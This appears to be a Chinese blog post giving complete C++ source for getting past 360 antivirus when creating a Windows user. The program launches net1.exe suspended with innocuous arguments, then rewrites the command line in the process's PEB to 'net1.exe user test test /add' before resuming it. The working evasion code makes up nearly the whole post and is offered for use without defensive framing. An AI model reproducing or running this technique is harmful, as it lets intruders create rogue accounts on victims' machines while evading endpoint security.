挂起状态下创建子进程绕过360创建用户
前言:挂起状态下创建子进程绕过360创建用户
绕过方案
1.在挂起状态下创建子进程;
2.使用NtQueryInformationProcess检索PEB地址;
3.使用WriteProcessMemory覆盖存储在PEB中的命令行数据;
4.恢复进程;
代码实现
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(NTAPI* lpRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
lpRtlAdjustPrivilege RtlAdjustPrivilege = nullptr;
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int main(int argc, char** canttrustthis)
{
//HMODULE hNtdll = LoadLibrary("ntdll.dll");
//RtlAdjustPrivilege = (lpRtlAdjustPrivilege)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlAdjustPrivilege");
//BOOLEAN boAdjustPrivRet;
//RtlAdjustPrivilege(19, TRUE, FALSE, &boAdjustPrivRet);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT context;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS* parameters;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
// 创建进程
success = CreateProcessA(
NULL,
(LPSTR)"net1.exe user", //不被检测的参数
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Could not call CreateProcess\n");
return 1;
}
//查找peb表
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return 1;
}
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
// 替换pe表,写入要绕过的命令
WCHAR spoofed[] = L"net1.exe user test test /add\0";
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////
// Update the CommandLine length (Remember, UNICODE length here)
DWORD newUnicodeLen = wcslen(spoofed)*2;
success = writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
ResumeThread(pi.hThread);
}

浙公网安备 33010602011771号